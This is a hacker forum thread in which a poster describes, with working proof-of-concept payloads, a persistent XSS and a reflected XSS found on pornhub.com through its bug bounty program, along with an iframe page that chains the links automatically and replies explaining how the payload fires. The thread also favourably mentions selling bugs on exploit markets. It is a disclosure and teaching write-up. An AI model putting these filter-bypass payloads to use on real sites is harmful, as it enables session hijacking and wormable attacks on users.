

# Forum:[Hack Forums](#)

Thread: [\[XSS\] Pornhub.com - Persistant XSS - core Domain \[PoC\] \(fixed, img-links updated\)](#).

Gee4rce - August 2, 2016, 6:25 pm

Placeholder

Placeholder

- Fixed broken/outdated image links again... (edited: 18.10.2017)
- Please shoot me a pm if image links are down so i can update.
- The vulns have been fixed a few weeks after this post, so the PoC does not work anymore.
- Cheers and happy reading.

"An insight on Pornhub's BugBounty program..."

Pornhub - Persistant XSS in user activity stream

-----  
This is a special release dedicated to the Webhacking section of HF. © by Gee4rce

Mindblowing and truly inspiring, so i listen such music when haxing web:

Spoiler [\(Click to View\)](#)

One of the most amazing drops i have ever heard:

Skip forward to 1:05 for drop ;)

[Video: <https://www.youtube.com/watch?v=6bSGA8txw7s&t=65>]

-----  
Wanted to release something different soon, but this came inbetween and therefore i drop you this before i release that other thing i had planned.

If you read as newbie:

For some technical words, i have put a wiki link behind. So if you do not understand a highlighted word,

just click and you will be directed to the information. This ensures information flow when it's about to understand this write-up.

0x00 - Opening words

So this is some insight from the Pornhub [BugBounty Program](#).

It's not that i am a pure [WhiteHat](#) or BugBounty hunter, no.. actually i quitted WhiteHatting for free and also stopped even with participating in BugBounty programs.

However, one evening a mate and me was bored, and recently we heard that PornHub is running a

BugBounty Program. So we decided to participate for Fun and the sake of the challenge.

Since i noticed a growing interest in this section for BugBounty hunting and WhiteHatting, i decided to drop you guys this small write up which basically covers 2 XSS, and one hint to a third one.

The program is hosted at Hackerone (a neutral third party that manage the reporting process via their website).

This is the PornHub BugBounty Program and it's Rules: <https://hackerone.com/pornhub>

0x00 - Opening Words

0x01 - Persistant XSS // pornhub.com, core domain, user activity Feed

0x02 - XSS Filter

0x03 - Beating XSS Filter

0x04 - PoC (Proof of Concept)

0x05 - More XSS...

0x06 - What happened next

0x07 - Rating the Pornhub BugBounty Program

0x08 - Closing words...

0x01 - Persistant XSS // pornhub.com, core domain, user activity Feed

So we started to poke around and after finishing looking from the "outside", we have created ourselves accounts and logged in to see if we find some interesting [attack surface there](#).

One of the first things that came to our attention was the user activity feed, which basically is comparable to the profile postwall of facebook. Then your posts will (just like in facebook) be shared among a "mainfeed" where you are shown posts of befriended users/people which in return see's the stuff you posted. Trying around there, we noted a filter that at first seemed pretty tough,

but then revealed itself to be prone to [Code injection attacks](#). Before dropping the PoC, let's discuss the technical side ->

0x02 - Facing the Filter

Basically everything that was an html tag like <script#>, <iframe#>, <img#>, etc. was filtered out. (i needed to add # to the tags, othwise my post would have been blocked). So at first this looked tough,

but further analysis showed that this filter had a major weakness:

" and > ...have not been filtered out nor was there any encoding of special chars going on! But it didn't allow spaces though.

The filter relies on the thought, that if he forbids all HTML tags then nothing can happen.

It's further logic is to assume that embedding the users post content between <div> is securing against [HTML event handlers](#).

The basic thought behind the Filter was to limit the user to [Formatting Code](#), while allowing maximum freedom of special character usage in posts, without risking XSS.

Nice attempt but there is obviously a Problem though...

### 0x03 - Beating the Filter

Described above, these problems have prevented a regular way of [XSS](#), so one needed to get creative.

Remember; we still have been allowed to use " and > but since we could not make use of HTML tags, we needed a different Injection Point. There came the Formatting Code in handy, but how?

This is an old method and mostly not working much anymore, but since of pornhubs filter weakness (allowing " and > ) this actually opened up the door for [XSS](#).

Embedding a link with Formatting Code:

[url,]www.site.com/asdf[/url,] <- (without the ',' otherwise Hf would have made a link from it)

Embedding a link with Formatting Code, abusing " to 'break out' and inject code:

[url,]www.site.com/asdf" onmouseover="alert(1)"[/url,]

(This basically is the technical PoC already, without the commas though).

Outcome in source view:

You may already see where this is going...

### 0x04 - PoC (Proof of Concept)

This is the final, technical [PoC](#):

[url]http://www.pornhub.com/"style="position:absolute;top:-500px;left:-500px;line-height:2800px;width:3800px;z-index:-9999999;"onmouseover="alert('PoC')"/[/url]

Note;

this is the original PoC - the event Handler used is 'onmouseover' -

there might be others working and even shorter ways but it's late and i am too lazy to try others.

We worked with this one and it did the job as the link actually is stretched over whole page.

Working PoC:

<http://www.pornhub.com/users/hexhexhexhexhex>

(\*\*note: this has been fixed by now.)

(linking to a userprofile that contains the above PoC - move mouse incase it not executes directly.)

That XSS is open for long now and most likely will be fixed very soon, therefore i include an image of it being executed:

This XSS was easily wormable and could have spread through a high ammount of pornhub profiles within just a few days.

0x05 - More XSS...

(Note: if you try any of the following PoC's, then you need to delete cookies after being done, as otherwise you won't be able to load regular pornhub.com anymore).

The Persistent one in user feed was not the only one we have found, at that point we already had another one on core domain,

this was the first one we have found and it was a more complex [XSS \(non-persistent\)](#) which involved some combination of forcing people to visit 3 links in a row.

Basically, it was functioning with a premium cookie flag; you must have visited "pornhubpremium.com" first, before visiting "pornhub.com" - a cookie flag will then be set and an AJAX request is fired to fetch alternate content that is being displayed, when visiting pornhub with the premium cookie Flag being set. This alternate Content was prone to Javascript injection as we could directly write into a JS section of the HTML document. It looked like this:

Note: it is not fixed by the time I write this- you can still write into JS section of the Code, but they have changed something in the cookie Flags so that it won't execute anymore- a bad 'fix' that ain't really a fix though, as long as we can write legit code).

And now executing it:

After we have figured how it worked, our PoC was a combination of visiting 3 links in a row:

<http://www.pornhubpremium.com/>  
[http://www.pornhub.com/user/premium\\_redirect\\_cookie?ajax=1](http://www.pornhub.com/user/premium_redirect_cookie?ajax=1)  
[http://www.pornhub.com/asdf/\\*alert\(document.domain\)\\*a](http://www.pornhub.com/asdf/*alert(document.domain)*a)

We weren't pretty happy with the fact that one had to call 3 links to finally get the XSS executed, so my mate wrote an "[exploit](#)" code for this, which basically is a html file that auto- calls all the links in a row with a small delay being added.

```
Code <html><script>i=-1; function fil() { document.getElementById('juk').innerHTML='<a
href=\'?'+Math.random()+\'\'>xss</a>'; }
function nij(i) { if (i==0) { document.getElementById('fij').src='http://www.pornhubpremium.com/'; }
if (i==1) {
document.getElementById('fij').src='http://www.pornhub.com/user/premium_redirect_cookie?ajax=1';
}
if (i==2) {
document.getElementById('fij').src='http://www.pornhub.com/asdf/*alert(document.domain)*\'a\'; i=3;
setTimeout('fil()', 1500); } }</script>
<iframe src='http://pornhub.com/' width='0' height='0' style='opacity: 0' id='fij'
[b]onload=[/b]i+=1;nij(i)'></iframe>
<div id='juk'>loading...</div></html>
```

That's for the reflected XSS.

We were working on a third bug that allowed us to steal the email addresses of user accounts, but we dropped on that one, read next to understand why...

## 0x06 - What happened next

So, we was not after the money, but after seeing that (according to PH's payout table) we had hit around \$1500 with that persistent one atleast, so we decided to report it as we was too lazy to do something further with it. We also reported the reflected XSS we found, and kept the 3rd Bug that allowed stealing emails, incase they no play fair. After short ammount of time we have received the reply that both XSS was duplicates - yes this happens a lot and it would be no Problem, but there is negative thing with the Pornhub BugBounty program that had casued this situation; they are to slow with fixing! Seeing the ReportID's of the reports they refered to, these reports must have been even weeks before my mate and me reported them! Even our reports are already 2 months old at this time, and you still see this PoC working!

That's a major Problem! I don't wanna bully around on Pornhub.com - they already had bad news in the past and reacted to them with increasing rewards and lifting them to a more adequate ammount of money,

but leaving bugs open for almost 3 months of time is a no-go. Not only that this is pretty much irresponsible, it also creates the problem of duplicate reports! An appropriate fixing time of max. a week and my mate and me would have saved a lot of time... luckily, we this time only did it for the fun, so we do not care much.

## 0x07 - Rating the Pornhub BugBounty Program

(Please note that the rating is only based on my personal opinion and)

### Pro's:

- Quick first responses
- Funny guys (having female pornstars as hackerone avatar)
- Fair Rewards, with one exception though (listed in neg)
- Ran on Hackerone, so a third party is involved which can negotiate between each party
- Rewards include a Pornhub Lifetime premium account as well as PH T-shirt.. now that's a cool extra!

### Con's

- Too long fixing time! Their reaction with fixes are far beyond unprofessional and they should really improve this to also prevent duplicate reports, that costs researchers time
- The ammounts for non-persistent XSS are to low, 250\$ for core domain as well as 50\$ for non-core domain is a rip off! Selling them on Oday.today will get you more cash for these.
- I would have expected that they offer us atleast a lifetime premium for our work and reports, but they did not. This made them look pretty unsympathic as well as the following thing:
  - They do only partial report disclosures, which means that all the reports will be accessible to the researchers after 3 months to view. But there are 2 different Types of report disclosure that a company can choose there; full and partial, while partial is only something like "There was a spot in user profiles feed that allowed code injection". This does not allow full transparency when it comes to evaluating the reports (for our case; we never know if the other reports was really exactly the same bug as we reportet).

### Final Rating:

Medium to "Not bad", but there are still major issues that should be improved!

Beware: The fact of slow fixing time is really annoying and cost a lot of time - atm no one who ever looks for bugs there will know if his find is unique or already reported x times.

0x08 - Closing words...

Everyone must decide for his own if he really want's to sell his work to bigger companies, for me personally after my BugBounty hunting time, i have got the impression that companies are still holding back when it comes to spend money on proper IT-Sec, it still should be considered to be cautious when attending in such programs, as here and there you will still find companies who try to rip off... they think like "hey, these nerds have no college grade leaving exam, maybe we can hire them cheap so that they can fix our stuff" - this does not apply to PH specifically, but for BugBounties in general you should always keep that in mind and be carefull when making deals.

For me, the BB time is over, as said that one was just for fun a mate and me had some evening.

Hope you guys 've learnt something and enjoyed reading,

Cheers, Gee.

**Kyle1995** - August 2, 2016, 7:57 pm

Cool post, glad to see you got your account back. Premium accounts for dayzzzzzz

Was there some sort of functionality specialchars would have interrupted or..?

**sxcurity** - August 2, 2016, 9:15 pm

Damn. Nice find dude! I'm assuming you use hackerone? You'll probably get a decent bounty for this hopefully. Thanks for the poc.

**JFvnjFSNVfefe1** - August 3, 2016, 12:30 am

inb4 the whitehat skids try reporting this on hackerone for bounty \$ lol, good write up though :)

**Mafius** - August 3, 2016, 12:33 am

(Aug 3, 2016 12:30 AM)JFvnjFSNVfefe1 Wrote: [\[CITE\]](#) inb4 the whitehat skids try reporting this on hackerone for bounty \$ lol, good write up though :)

They only give bounties for the first report of a bug, and OP already reported it so...

**surelyenough** - August 3, 2016, 1:20 am

Good find. Hopefully they'll reward you well, as they've usually underselling XSS vulnerabilities to the point of awarding one with 20\$.

**Mafius** - August 3, 2016, 1:22 am

(Aug 3, 2016 01:20 AM)surelyenough Wrote: [\[CITE\]](#) Good find. Hopefully they'll reward you well, as they've usually underselling XSS vulnerabilities to the point of awarding one with 20\$.

Their minimum reward is \$50.

See: <https://hackerone.com/pornhub> for their average reward amounts for certain vulnerabilities.

**surelyenough** - August 3, 2016, 1:44 am

(Aug 3, 2016 01:22 AM)Mafius Wrote: [\[CITE\]](#) Their minimum reward is \$50.

See: <https://hackerone.com/pornhub> for their average reward amounts for certain vulnerabilities. That's funny, because scrolling down, you'll see

Pornhub rewarded zephrfish with a \$25 bounty for Cross Site Scripting – Album Page.  
Pornhub rewarded trytohack with a \$25 bounty.  
Pornhub rewarded zephrfish with a \$25 bounty.  
Pornhub rewarded zephrfish with a \$25 bounty.  
and I remember a 20\$ one which I can't find.

**Mafius** - August 3, 2016, 1:46 am

(Aug 3, 2016 01:44 AM)surelyenough Wrote: [\[CITE\]](#) That's funny, because scrolling down, you'll see Pornhub rewarded zephrfish with a \$25 bounty for Cross Site Scripting – Album Page.  
Pornhub rewarded trytohack with a \$25 bounty.  
Pornhub rewarded zephrfish with a \$25 bounty.  
Pornhub rewarded zephrfish with a \$25 bounty.  
and I remember a 20\$ one which I can't find.  
Ah you're right, but the last time they did that was ~2 months ago. Perhaps they recently updated the minimum?

**HaxOr?** - August 3, 2016, 3:06 am

Very nice writeup man. :)

**DROP TABLE users** - August 4, 2016, 12:43 am

Very good post m8, keep up the good info. Very good examples and explanation!

**Gee4rce** - August 4, 2016, 6:07 pm

(Aug 2, 2016 07:57 PM)Involution Wrote: [\[CITE\]](#) Cool post, glad to see you got your account back.  
Premium accounts for dayzzzzz  
Was there some sort of functionality specialchars would have interrupted or..?  
Thanks a lot mate! no there was no specialchars filtering applied.  
I fixed added this info to the write-up, sorry for being unclear about that.

(Aug 2, 2016 09:15 PM)sxcurity Wrote: [\[CITE\]](#) Damn. Nice find dude! I'm assuming you use hackerone? You'll probably get a decent bounty for this hopefully. Thanks for the poc.  
Thanks, but i was working with a mate so all this is not only my work.  
Yes i "use" hackerone, but am not much active there as i am split opinion about hackerone.com. It seems to me like just a platform that shall drop the makers money (which is always involved, sure), while leaving the page as is- i do see room for improvement there but nothing happens over long time.. it moreover occurs like a "sidebusiness" that a team of people is running.

(Aug 3, 2016 12:30 AM)JFvnjFSNVfe1 Wrote: [\[CITE\]](#) inb4 the whitehat skids try reporting this on hackerone for bounty \$ lol, good write up though :)  
Thanks pal! But yeah it's already reported, we wasn't even the first as it came out in the end.

(Aug 3, 2016 01:20 AM)surelyenough Wrote: [\[CITE\]](#) as they've usually underselling XSS vulnerabilities to the point of awarding one with 20\$.  
These were the old rewards (which were a joke), they fitted the ammount of money to pay by now but non-persistant XSS is still a rip off.

(Aug 3, 2016 01:46 AM)Mafius Wrote: [\[CITE\]](#) Last time they did that was ~2 months ago. Perhaps they recently updated the minimum?  
Yes there was an update as the ammounts before made bad newswlines.

(Aug 3, 2016 03:06 AM)HaxOr? Wrote: [\[CITE\]](#) Very nice writeup man. :)

Thanks a lot mate, nice seeing you still lurking around here. I hope you checked out that track i linked at the top of the tut ;)

(Aug 3, 2016 01:28 PM)mObile Wrote: [\[CITE\]](#) Nice find brother! You always go that extra mile explaining in detail. Keep it up!

Thanks mate :)

And thanks to you upgrading me to Epic it all fitted in one Post ?

(Aug 4, 2016 12:43 AM)DROP TABLE users Wrote: [\[CITE\]](#) Very good post m8, keep up the good info. Very good examples and explanation!

Thanks a lot, i am glad people find this usefull.

**Wireless Network** - August 5, 2016, 12:14 am

Such an awesome read. Thank you!

**Punisher** - August 5, 2016, 9:58 am

Nice work.

I've used HackerOne before to check out the bounties, but I've never attempted to claim one.

I'll definitely be attempting a few in the near future though.

Thanks for the write-up. ?

**slthrp** - August 7, 2016, 5:31 am

Very HQ Post. Keep it up!

**saitto** - August 9, 2016, 6:12 am

How did you make this alert be active when you enter the page?

I've been trying your method here but can't figure it out!

/s

**Z3r0C0d3** - August 9, 2016, 12:56 pm

Great job , i am sure you put effort to write the thread and find the bug

**naxes** - August 9, 2016, 2:34 pm

Was the third exploit also XSS?

(Awesome post btw)

**Tsar** - August 9, 2016, 2:46 pm

Good job with this OP! This is impressive and I also like the layout

**HiddenEyE** - August 11, 2016, 8:46 am

very HQ to read man. good job you have put in to discover the bug

**Gee4rce** - January 13, 2017, 10:39 am

Sorry for the late reply, i had some away time.

Thank you everyone for the kind words, glad you enjoyed the read ?

Spoiler ([Click to View](#))

(Aug 5, 2016 12:14 AM)Wireless Network Wrote: [\[CITE\]](#) Such an awesome read. Thank you!

(Aug 7, 2016 05:31 AM)slthrp Wrote: [\[CITE\]](#) Very HQ Post. Keep it up!

(Aug 9, 2016 12:56 PM)Z3r0C0d3 Wrote: [\[CITE\]](#) Great job , i am sure you put effort to write the thread and find the bug

(Aug 9, 2016 02:46 PM)#Rapid Wrote: [\[CITE\]](#) Good job with this OP! This is impressive and I also like the layout

(Aug 11, 2016 08:46 AM)The Craw\$er Wrote: [\[CITE\]](#) very HQ to read man. good job you have put in to discover the bug

(Aug 5, 2016 09:58 AM)Error Wrote: [\[CITE\]](#) Nice work. I've used HackerOne before to check out the bounties, but I've never attempted to claim one.

I am splitten opinions about hackerone.

I have the feeling that they hold back many programs and first share them with the people leading on their list. This is not quite fair in my eyes and i usually don't participate there anymore.

(Aug 9, 2016 06:12 AM)saitto Wrote: [\[CITE\]](#) How did you make this alert be active when you enter the page?

I've been trying your method here but can't figure it out!

Maybe you have tried it when the vulnerability was fixed already.

But basically we had this vector: [www.a-url.com/asdf](http://www.a-url.com/asdf) onmouseover="alert(1)"//

Where as the alert was fired via [HTML event handlers](#) (<- click).

We have then stretched this link to fill the complete page with css global "style" attributes, like: onmouseover=".." style="width:100%;z-index:9999;etc.etc;".

So as the link then covered full page, a triggering of mouse move was automatically applied when visiting the page.

Note that this kind of vector was dependant from the Filtering they applied, so that does not automatically work everywhere.

Could this answer your question? If not, please get more into detail on where you got stuck.

(Aug 9, 2016 02:34 PM)naxes Wrote: [\[CITE\]](#) Was the third exploit also XSS?

(Awesome post btw)

Thank you, the 3rd vulnerability was a method of stealing a users email adress by sending him a link to pornhub site.

This was involving indeed a third XSS we found, which only executed under self conditions- though we could use it to make some kind of CSRF.

We then got stuck at bypassing the Same origin Policy, which we had partially working, but it still had some random factors,

and the fact that we didn't know if that was already reported (due to pornhubs extremely slow fixing time), we dropped on it and moved on.

Cheers, Gee.

**redlightrouter** - February 18, 2017, 3:26 pm

I just have to ask it: Why are German people so good in programming?

I know a couple of German guys who are incredible in programming and on YouTube there is this guy who explains alot on assembly, C and the vulnerabilities that come with badly written code in those 2 languages (haven't find anybody else who does that).

Correct me if I'm wrong, but you dont learn English at all in Germany, right?

**Cedric.** - May 23, 2017, 12:56 pm

This is such a neat thread. You seem like a selfdisciplined person who has put much work in both finding the vulnerability's for the site as even making a very good detailed thread about it, that even I can understand haha. It got me enthoustiastic about this whole bug bounty hunting which is still pretty undiscovered by me. I will be downloading some ebooks about it soon.

**Gee4rce** - April 12, 2021, 7:39 pm

== I am sorry this is an old thread, but i was inactive for longer and i will not leave questions unanswered, no matter how old a thread is. ==

(Feb 18, 2017 04:26 PM)redlightrouter Wrote: [\[CITE\]](#) I just have to ask it: Why are German people so good in programming?Well almost any country has good coders, what you mean i think is why the proportion of skilled people may vary.

For germany, i suspect the following reasons: 1) germans are technologically pretty developed and have high standards,

2) after WW2, germans became more serious and disciplined, kind of a working culture. Still many of the old generations

measure their own value with how much they achieve in work life. Younger generations already are more relaxed on this.

3) Germans have english in school as main laguage (right after german). Even childs age and in Kindergarden they have english lessons already.

(Feb 18, 2017 04:26 PM)redlightrouter Wrote: [\[CITE\]](#) ...on YouTube there is this guy who explains alot on assembly, C and the vulnerabilities that come with badly written codeYou are probably refering to "LiveOverflow" (hes good man ?)

(May 23, 2017 12:56 PM)Cedric. Wrote: [\[CITE\]](#) This is such a neat thread. You seem like a selfdisciplined person who has put much work in both finding the vulnerability's for the site as even making a very good detailed thread about it, that even I can understand haha. It got me enthoustiastic about this whole bug bounty hunting which is still pretty undiscovered by me. I will be downloading some ebooks about it soon.

Thank you very much, if you are interested and enthusiastic about hacking, don't fear to dive into it! It's a longer path and theres always something new to learn in this field, but years ago, i registered in this forum as a beginner, just like many, and nowadays hacking has become my main Job (Pentester).

Anything is possible, with the right potion of motivation ?

Cheers,  
Gee.

**rAmUnDo** - April 13, 2021, 9:31 pm

Do you want to be well rewarded for doing what you love? If you are interested, please contact us. I need your service to test website security.

**redlightrouter** - April 17, 2021, 2:57 pm

(Apr 12, 2021 07:39 PM)Gee4rce Wrote: [\[CITE\]](#) == I am sorry this is an old thread, but i was inactive for longer and i will not leave questions unanswered, no matter how old a thread is. ==

Well almost any country has good coders, what you mean i think is why the proportion of skilled people may vary.

For germany, i suspect the following reasons: 1) germans are technologically pretty developed and

have high standards,

2) after WW2, germans became more serious and disciplined, kind of a working culture. Still many of the old generations measure their own value with how much they achieve in work life. Younger generations already are more relaxed on this.

3) Germans have english in school as main laguage (right after german). Even childs age and in Kindergarden they have english lessons already.

You are probably refering to "LiveOverflow" (hes good man ?)

Thank you very much, if you are interested and enthusiastic about hacking, don't fear to dive into it! It's a longer path and theres always something new to learn in this field, but years ago, i registered in this forum as a beginner, just like many, and nowadays hacking has become my main Job (Pentester).

Anything is possible, with the right potion of motivation ?

Cheers,

Gee.No way bro.. Just logged back in for the first time in years, and you replied to this thread 4 days ago.. What are the odds?

**theghostofgreen** - April 19, 2021, 6:47 am

This is awesome. This is the type of content I like to read :D bit crap that PH isn't quick to fix this.